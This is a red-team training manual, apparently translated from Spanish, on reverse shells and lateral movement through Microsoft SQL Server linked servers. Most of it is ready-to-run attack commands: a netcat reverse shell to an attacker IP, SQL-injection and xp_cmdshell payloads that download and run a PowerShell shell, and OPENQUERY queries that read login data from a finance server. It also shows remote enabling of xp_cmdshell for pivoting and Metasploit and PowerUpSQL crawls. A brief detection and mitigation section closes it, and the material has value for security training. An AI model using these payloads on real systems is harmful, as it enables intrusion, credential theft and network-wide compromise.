📕 FIELD MANUAL 7.3: REVERSE SHELLS & LATERAL MOVEMENT
Objective: We will establish persistent interactive control and use trust links between databases to pivot to other servers in the...
Classification: RED TEAM EYES ONLY
Objective: We will establish persistent interactive control and use trusted links between databases to pivot to other servers on the internal network.
Targets: Windows Corporate Networks, Active Directory Environments.
MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1210 (Exploitation of Remote Services), T1021 (Remote Services).
1. INTEL & RECON: THE LINK THEORY
Sección titulada «1. INTEL & RECON: LA TEORÍA DEL ENLACE»Reverse Shells (The Call Home)
Sección titulada «Reverse Shells (La Llamada a Casa)»A “Web Shell” (Module 7.1) is passive: we send a command, and it responds. A “Reverse Shell” is active: the victim server connects to our attacking machine (Kali). This bypasses most inbound (Ingress) Firewalls, as outbound connections are usually allowed.
Linked Servers (The Secret Tunnel)
Sección titulada «Linked Servers (El Túnel Secreto)»In corporate environments, databases need to talk to each other (e.g., the “Sales” DB reads data from “Inventory”). Administrators configure “Linked Servers”.
- The Danger: If we compromise server A, and A is linked to B, we can execute queries on B using the link's credentials, often with elevated privileges (
sa).
2. WEAPONIZATION A: REVERSE SHELLS (INTERACTIVE MODE)
Sección titulada «2. WEAPONIZATION A: REVERSE SHELLS (INTERACTIVE MODE)»We already have command execution (via xp_cmdshell or system()). Now we will convert that into a real session.
Linux (MySQL/Postgres)
Sección titulada «Linux (MySQL/Postgres)»Reference to the Intel PDF (“rm /tmp/f…”)
If we are on a bWAPP in Linux:
-
Listener (Our machine):
nc -lvnp 4444 -
Payload (Victim):
Ventana de terminal rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/fSQL Injection:
Ventana de terminal ' UNION SELECT 1, system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f'), 3... -- -
Windows (MSSQL)
Sección titulada «Windows (MSSQL)»We will use PowerShell or Netcat (if we can upload it). The “PowerShell One-Liner” method is the cleanest (Fileless).
-
Listener:
nc -lvnp 4444 -
Payload (Nishang Invoke-PowerShellTcp): We will download a script into memory that initiates the shell.
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''[http://10.10.10.10/shell.ps1](http://10.10.10.10/shell.ps1)'')"'; --(Where
shell.ps1contains the logic to connect to port 4444).
3. WEAPONIZATION B: LATERAL MOVEMENT (LINKED SERVERS)
Sección titulada «3. WEAPONIZATION B: LATERAL MOVEMENT (LINKED SERVERS)»We are inside Server SQL-01. We want to reach SQL-02 (Finance) but we don't have a password. We will check if they are linked.
Step 1: Link Enumeration
Sección titulada «Paso 1: Enumeración de Enlaces»We will ask: “Who are you talking to?”
-
Query:
EXEC sp_linkedservers; -
Result: | Name | Provider | Data Source | | :--- | :--- | :--- | | LOCAL | SQLOLEDB | SQL-01 | | FINANCE_SRV | SQLOLEDB | 192.168.1.50 |
Step 2: Remote Execution (OPENQUERY)
Sección titulada «Paso 2: Ejecución Remota (OPENQUERY)»The OPENQUERY function allows us to send a SQL statement to the remote server so that it executes it.
-
Remote Reading (Steal Finance data):
SELECT * FROM OPENQUERY("FINANCE_SRV", 'SELECT * FROM master..syslogins');Impact: We are reading the passwords/users of the other server without having authenticated directly on it.
Step 3: The “Double Hop” (Remote RCE)
Sección titulada «Paso 3: El “Doble Salto” (RCE Remoto)»If the link is configured with sa privileges (very common), we can activate xp_cmdshell on the remote server.
-
Enable xp_cmdshell REMOTELY:
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [FINANCE_SRV];EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [FINANCE_SRV]; -
Execute Commands REMOTELY:
EXEC ('xp_cmdshell ''ipconfig''') AT [FINANCE_SRV];Result: Now we control the Finance server. We will repeat the process if that server has another link. We can pivot through the entire network.
4. AUTOMATION: PIVOTING TOOLS
Sección titulada «4. AUTOMATION: HERRAMIENTAS DE PIVOTING»Metasploit (MSSQL Link Crawler)
Sección titulada «Metasploit (MSSQL Link Crawler)»Metasploit has a module that does this automatically, searching for links recursively.
use auxiliary/scanner/mssql/mssql_link_crawlerset RHOSTS target_ipset USERNAME saset PASSWORD ...runPowerUpSQL
Sección titulada «PowerUpSQL»The ultimate tool for Red Teams in MSSQL environments. It is a PowerShell script.
Import-Module PowerUpSQL.psd1Get-SQLServerLinkCrawl -Instance "TargetSQL01" -Verbose- It will provide a graphical map of all linked servers and where we have sysadmin privileges.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection
Sección titulada «🕵️ Detección»- Outbound Traffic Logs: We will detect connections from database servers to unknown IPs (external ports 4444, 80, 443), indicative of Reverse Shells.
- Use of OPENQUERY: We will monitor queries that use
OPENQUERYorOPENROWSETcontaining suspicious strings. - Remote Execution: Logs showing
EXEC (...) AT [LinkedServer].
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»- Principle of Least Privilege in Links: We will never configure a Linked Server using the
sasecurity context. We will use a specific user with read-only permissions (db_datareader) on the target database. - Disable Ad Hoc Queries: We will block
OPENROWSETandOPENQUERYif they are not strictly necessary. - Segmentation: Database servers should not have Internet access (to break the Reverse Shell).
Status: CAMPAIGN COMPLETED.
Final Report: We have acquired complete knowledge, from 1' OR 1=1 to compromising an entire corporate network by pivoting between servers.

